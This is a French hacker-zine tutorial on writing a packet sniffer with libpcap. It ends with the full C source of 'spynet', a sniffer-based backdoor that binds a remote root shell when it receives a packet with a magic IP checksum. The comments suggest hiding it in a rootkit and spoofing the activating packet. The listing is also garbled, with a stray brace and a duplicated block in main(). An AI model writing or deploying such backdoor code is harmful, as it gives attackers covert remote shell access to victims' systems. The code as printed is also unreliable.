######################################### # Programmer son sniffer # ##############-{Judicious}-############## Introduction ============ Dans cet article, je vais vous enseigner l'art et la maniere de programmer son propre sniffer. Bien sur, apres la lecture de cet article ne vous attendez pas a etre capable de coder un truc style tcpdump ou sniffit (quand meme!!!) dans la mesure ou vous ne trouverez ici que les bases. Pour pouvoir utiliser les informations de cet article, vous aurez besoin de la libpcap telechargeable a http://www.tcpdump.org. La libpcap ========== pcap signifie "Packet Capturing", la libpcap est donc une librairie qui va vous permettre de capturer des paquets transitants sur un reseau et de les analyser. Elle inclue des fonctions de filtrage basees sur le Berkeley Packet Filter (BPF), mecanisme utilise dans tcpdump (entre autres). La libpcap est actuellement maintenue par "The Tcpdump Group". Son installation se fait comme toute autre librairies, donc vous ne devriez rencontrer aucun probleme de ce cote la. Pour les chanceux tournant sous BSD, il est fort probable que la libpcap soit deja presente sur votre systeme alors verifiez que vous ne l'avez pas avant de vous jeter sur tcpdump.org pour la telecharger... Coder son sniffer... ==================== Coder un sniffer a l'aide de la libpcap est loin d'etre complique, le tout est, comme bien souvent, de connaitre les fonctions et leur syntaxe. Allons-y, donc, et etape par etape... Premierement, il va nous falloir choisir une interface a sniffer. Pour cela, nous avons deux solutions : soit nous la choisissons "manuellement" et nous memorisons le nom de cette interface dans un char *, soit nous faisons un "autodetect" avec la fonction pcap_lookupdev(). La syntaxe de cette fonction est la suivante : #includechar errbuf[PCAP_ERRBUF_SIZE]; char *pcap_lookupdev(char *errbuf); La macro PCAP_ERRBUF_SIZE est definie dans pcap.h. La valeur de retour de pcap_lookupdev() est un pointeur sur la premiere interface reseau detectee ou NULL si une erreur est survenue. En cas d'erreur, il est interessant de noter que la chaine errbuf contiendra le message de l'erreur survenue. Voici un exemple de l'utilisation de la fonction pcap_lookupdev() : --------------------------------- char errbuf[PCAP_ERRBUF_SIZE]; char *dev; if((dev=pcap_lookupdev(errbuf))==NULL) { fprintf(stderr,"unable de detect device : %s\n",errbuf); exit(-1); } printf("using %s as device for sniffing\n",dev); ---------------------------------- Apres avoir choisit l'interface de reseau, il va nous falloir un descripteur pour la capture des paquets. On obtient ce descripteur en utilisant la fonction pcap_open_live() dont la syntaxe est la suivante : #include pcap_t *pcap_open_live(char *device, int snaplen, int promisc, int to_ms, char *ebuf); + char *device correspond au pointeur obtenu a l'etape precedente + int snaplen represente le nombre maximal d'octets a capturer + int promisc permet de preciser si le promiscuous bit doit etre a 1 ou 0 + int to_ms represente le timeout des lectures (donne en millisecondes) + char *ebuf est notre buffer d'erreurs (le errbuf de l'etape precedente) Il est a noter que sur un ethernet, la valeur snaplen est de 1514. De plus, int promisc prend le plus souvent pour valeur IFF_PROMISC qui est une macro definie dans /usr/include/net/if.h et non dans pcap.h. N'oubliez pas de rajouter ce fichier en-tete dans votre code. Voici un exemple d'utilisation de la fonction pcap_open_live() : -------------------------------- char errbuf[PCAP_ERRBUF_SIZE]; pcap_t *des; /* dev est le pointeur obtenu avec pcap_lookupdev() */ if((des=pcap_open_live(dev,1514,IFF_PROMISC,1000,errbuf))==NULL) { fprintf(stderr,"unable to open descriptor : %s\n",errbuf); exit(-1); } -------------------------------- Apres avoir obtenu notre descripteur, il va nous falloir le numero et le masque de reseau associe a l'interface que l'on desire sniffer. Encore une fois pas la peine de se prendre la tete : une fonction va le faire a notre place (quand je vous disais que c'est simple de faire un sniffer avec pcap) et cette fonction est pcap_lookupnet() dont la syntaxe est : #include int pcap_lookupnet(char *device, bpf_u_int32 *netp, bpf_u_int32 *maskp, char *errbuf); Cette fonction renvoie -1 en cas d'erreur (comme la plupart des fonctions de type int). Je ne vous presente plus les arguments char *device et char *errbuf, je pense que ce sont devenus de vieux amis a vous. Je n'ai par contre pas encore fait les presentations avec bpf_u_int32 *netp et bpf_u_int32 *maskp. Elles seront vite faites : ces deux arguments sont juste ce que nous desirons obtenir avec pcap_lookupnet(), a savoir le numero et le masque de reseau. Allez, je vous montre comment on utilise cette fonction,comme je suis lance et que je me sens genereux... ------------------------------- char errbuf[PCAP_ERRBUF_SIZE]; char *dev; /* bon, pour la suite on admettra que dev pointe sur l'interface */ bpf_u_int32 net,mask; if(pcap_lookupnet(dev,&net,&mask,errbuf)==-1) { fprintf(stderr,"unable to lookup net and mask : %s\n",errbuf); exit(-1); } ------------------------------- Voila, y'a rien de plus simple!!! Bon, recapitulons ce que nous avons a ce stade : on a notre interface, notre descripteur et nos net et mask MAIS nous ne pouvons toujours pas commencer a sniffer, pour la simple et bonne raison que nous n'avons encore pas precise QUOI sniffer. C'est la qu'on fait intervenir les filtres BPF. Si vous vous etes deja servis de tcpdump, la syntaxe des filtres BPF ne devrait vous poser aucun probleme, sinon et bien... man tcpdump :). Il nous faut donc nos filtres. Les obtenir n'est pas complique dans la mesure ou nous n'avons qu'a les stocker dans un char ou meme les definir en macro (#define). Neanmoins, il ne sont pas encore directement utilisables par notre sniffer, car ce sniffer lui, ne comprend pas le langage humain (et oui, il est pas tres cultive), il va nous falloir lui traduire dans sa langue ce que l'on attend de lui. Nous allons donc tout lui traduire en hexadecimal...non, je deconne, on a encore une fonction qui automatise tout :). Je vous presente donc votre nouvelle amie : la fonction pcap_compile() dont la syntaxe est la suivante : #include int pcap_compile(pcap_t *p, struct bpf_program *fp, char *str, int optimize, bpf_u_int32 netmask) + Le premier argument est notre descripteur obtenu avec pcap_open_live() + Le second, la structure, va etre remplie par pcap_compile() + char *str est la chaine contenant notre filtre ecrit sous forme de texte + int optimize controle l'optimisation du filtre, generalement mis a 0x100 + bpf_u_int32 netmask est le masque obtenu avec pcap_lookupnet() + La fonction renvoie elle aussi -1 en cas d'erreur Comme je suis encore trop gentil, je vais vous donner un exemple : ---------------------------------- /* les variables non definies ici sont celles definies dans les precedentes */ /* etapes donc n'hallucinez pas en voyant pleins de variables... */ struct bpf_program fp; char filtre[]="dst port 23"; if(pcap_compile(des,&fp,filtre,0x100,mask)==-1) { fprintf(stderr,"error compiling filter : %s\n",pcap_geterr(des)); exit(-1) } ----------------------------------- Nous avons donc "traduit" (en quelque sorte) notre filtre (pour les accros des veritables termes, et ils sont nombreux, on dit qu'on l'a compile). Nous avons donc compile notre filtre, qui est donc devenu comprehensible pour notre sniffer. Maintenant, nous allons le mettre en place avec la fonction pcap_setfilter() : #include int pcap_setfilter(pcap_t *p, struct bpf_program *fp) Vous connaissez deja les deux arguments (descripteur et structure contenant notre filtre compile) donc je ne m'etendrai pas la-dessus. Mais quand meme je vais donner un exemple pour les plus neuneus d'entre vous :) : -------------------------------- if(pcap_setfilter(des,&fp)<0) { fprintf(setderr,"unable to apply filter : %s\n",pcap_geterr(des)); exit(-1); } -------------------------------- Bon, et bien nous arrivons a la fin de nos (minuscules) peines. Nous n'avons plus qu'a lire dans notre descripteur pour avoir les paquets captures a l'aide d'une boucle. Cette boucle est realisee avec la fonction pcap_loop() : #include int pcap_loop(pcap_t *p, int cnt, pcap_handler callback, u_char *user) + pcap_t *p est notre descripteur + int cnt est le nombre de paquets a traiter, on met -1 pour une boucle infinie + pcap_handler callback est une fonction de traitement que NOUS devons ecrire (pour une fois) + le pointeur *user est un argument passe directement a la fonction callback() On l'utilise comme suit : ------------------------------ char *buf; if(pcap_loop(des,-1,callback,buf)<0) { fprintf(stderr,"unable to initialize loop : %s\n",pcap_geterr(des)); exit(-1); } ------------------------------ Parlons maintenant de la fonction callback(), qui est une fonction assez speciale. En effet, c'est a nous de l'ecrire afin de nous laisser decider quoi faire avec les paquets obtenus. Ses possibilites etant illimitees, je n'en donnerai aucun exemple, neanmoins sachez qu'il vous faut avoir des connaissances sur le protocole TCP/IP et sur les Raw Sockets pour profiter pleinement des possibilites qui nous sont offertes. On a: #include pcap_handler callback(u_char *user,const struct pcap_pkthdr *h, const u_char *buff) On a, par exemple de debut de fonction callback : void callback(u_char *user,const struct pcap_pkthdr *h,const u_char *buf) { struct iphdr *ip; struct tcphdr *tcp; ip=(struct iphdr *)buf; ... } Il est a noter que pour utiliser les structures ci-dessus, il vous faudra utiliser d'autres fichiers en-tetes comme /usr/include/netinet/ip.h ou encore /usr/include/netinet/tcp.h. Comme vous le voyez, s'y connaitre en Raw Sockets aide pas mal... Un exemple de sniffer : spynet ============================== Comme je suis quelqu'un de HO COMBIEN gentil (arf =), j'ai realise rien que pour cet article (et donc rien que pour vous), un petit code de sniffer que j'ai baptise spynet (rien a voir avec Terminator 2 ;). S'il existe deja un programme de ce nom, je suis desole pour son auteur mais je l'ignorais... Voila donc, RIEN QUE POUR VOUS, le sniffer de TIPIAK!!!! (envoyez vos cheques a l'adresse suivante : ..... :) ------------------------------------------------------------------------------- /*****************************************************************************/ /* SPYNET */ /* by Judicious */ /*****************************************************************************/ /* Voici un petit exemple de code montrant comment coder un sniffer. Au lieu */ /* de montrer l'exemple classique d'un sniffer loggant des paquets, je vous */ /* montre une petite backdoor basee sur un sniffer (integrez la dans un */ /* rootkit si vous comptez vous en servir, elle ne se cache pas par */ /* elle-meme) qui bindera un shell si la checksum d'un header IP recu est */ /* egale a 12345. Le port utilise sera celui du port source specifie dans le */ /* paquet TCP. Vous n'avez plus qu'a coder avec les SOCK_RAW pour pouvoir */ /* vous servir de ce code. Je vous conseille de spoofer votre IP quand vous */ /* activez la door (le shell s'ouvrira quand meme, peu importe l'IP du */ /* paquet ouvrant), et de ne pas choisir en IP destination la machine cible. */ /* Le resultat sera le meme de toutes facons puisqu'on sniffe un sous-reseau */ /* et donc que le paquet sera quand meme sniffe (suivant les filtres que vous*/ /* appliquerez. HAVE FUN!!! Compile : gcc -ospynet spynet.c -lpcap */ /*****************************************************************************/ /* NECESSITE LA PRESENCE DE LA LIBPCAP SUR LE SYSTEME OU UNE COMPILATION */ /* STATIQUE PUIS LE TELECHARGEMENT DU BINAIRE */ /*****************************************************************************/ /* Une amelioration est possible : l'utilisation du protocole UDP ou ICMP au */ /* lieu de TCP pour l'activateur, je vous laisse la faire manuellement, */ /* laissez les script kiddies etre moins discrets avec ce code... */ /*****************************************************************************/ #include #include #include #include #include #include #include #include #include #include #include #include #define S_LEN 1514 /* help... */ void use() { printf("SPYNET ---by Judicious from the TipiaK War Factory Team\n\n"); printf("Availaible options are :\n\n"); printf(" -d : Use 'device' as the network interface device\n"); printf(" The first non-loopback interface is the default\n"); printf(" -h : Display this little help\n\n"); printf("send bug reports and questions at : hotmail.root@caramail.com\n\n"); exit(0); } /* je ne vous fait pas l'affront de commenter un remote shell */ void shell(int port) { int soc_des,soc_cli,soc_rc,soc_len,server_pid,cli_pid; struct sockaddr_in serv_addr; struct sockaddr_in client_addr; soc_des=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); if(soc_des==-1) exit(-1); bzero((char *)&serv_addr,sizeof(serv_addr)); serv_addr.sin_family=AF_INET; serv_addr.sin_addr.s_addr=htonl(INADDR_ANY); serv_addr.sin_port=htons(port); soc_rc=bind(soc_des,(struct sockaddr *)&serv_addr,sizeof(serv_addr)); if(soc_rc!=0) exit(-1); if(fork()!=0) exit(0); setpgrp(); signal(SIGHUP,SIG_IGN); if(fork()!=0) exit(0); soc_rc=listen(soc_des,5); if(soc_rc!=0) exit(0); soc_len=sizeof(client_addr); soc_cli=accept(soc_des,(struct sockaddr *)&client_addr,&soc_len); if(soc_cli<0) exit(0); cli_pid=getpid(); server_pid=fork(); if(server_pid!=0) { dup2(soc_cli,0); dup2(soc_cli,1); dup2(soc_cli,2); execl("/bin/sh","sh",(char *)0); close(soc_cli); close(soc_rc); close(soc_des); } close(soc_cli); close(soc_rc); close(soc_des); } /* notre fonction callback qui traite les paquets sniffes... */ void callback(u_char *user,const struct pcap_pkthdr *h, const u_char *buff) { struct iphdr *ip; struct tcphdr *tcp; int p; ip=(struct iphdr *)(buff+14); tcp=(struct tcphdr *)(buff+34); /* checksum==12345 on bind un shell sur un port */ if(ip->check==12345) { p=ntohs(tcp->source); /* port du shell=port source de l'activateur */ shell(p); } } main(int argc, char *argv[]) { char errbuf[PCAP_ERRBUF_SIZE]; char *device=NULL,*buff=NULL; pcap_t *pdes; bpf_u_int32 netp,maskp; struct bpf_program bp; char filter[350]; int optch; while((optch=getopt(argc,argv,"d:h"))!=-1) { switch(optch) { case 'd' : device=optarg; printf("interface %s chosen\n",device); break; case 'h': use(); break; default: printf("unknown option\n\n"); use(); break; } } printf("Filters (in BPF format) : "); fgets(filter,349,stdin); /* recherche d'interface car aucune n'a ete specifiee */ if(device==NULL) { if((device=pcap_lookupdev(errbuf))==NULL) { fprintf(stderr,"error detecting device : %s\n",errbuf); exit(-1); } } /* obtention du descripteur */ if((pdes=pcap_open_live(device,S_LEN,IFF_PROMISC,1000,errbuf))==NULL) { fprintf(stderr,"unable to get descriptor : %s\n",errbuf); exit(-1); } } /* obtention du descripteur */ if((pdes=pcap_open_live(device,S_LEN,IFF_PROMISC,1000,errbuf))==NULL) { fprintf(stderr,"unable to get descriptor : %s\n",errbuf); exit(-1); } /* on veut numeros de reseau et de masque de l'interface */ if(pcap_lookupnet(device,&netp,&maskp,errbuf)==-1) { fprintf(stderr,"unable to lookup network : %s\n",errbuf); exit(-1); } /* nous voila avec notre filtre compile */ if(pcap_compile(pdes,&bp,filter,0x100,maskp)<0) { fprintf(stderr,"compile error : %s\n",pcap_geterr(pdes)); exit(-1); } /* on balance notre filtre */ if(pcap_setfilter(pdes,&bp)<0) { fprintf(stderr,"unable to set filter : %s\n",pcap_geterr(pdes)); exit(-1); } /* plus qu'a sniffer comme un toxico */ if(pcap_loop(pdes,-1,callback,buff)<0) { fprintf(stderr,"pcap_loop : %s\n",pcap_geterr(pdes)); exit(-1); } return 0; } ------------------------------------------------------------------------------- Conclusion ========== Voila, c'est la fin de cet article. J'espere que vous aurez apprecie et appris quelque chose. Sachez neanmoins que je ne vous ai montre que quelques aspects de la libpcap, pour en savoir plus man pcap est deja un bon debut. Enfin, n'oubliez pas le parametre -lpcap quand vous compilez avec gcc, c'est parfois un petit oubli qui peut vous poser probleme pendant des heures si vous n'avez pas l'habitude de coder avec d'autres bibliotheques que celles de base. Si vous avez des questions, n'hesitez pas a me mailer : hotmail.root@caramail.com Par contre, je ne vous garanti pas une reponse immediate, ni une reponse tout court dans la mesure ou je quitte le groupe...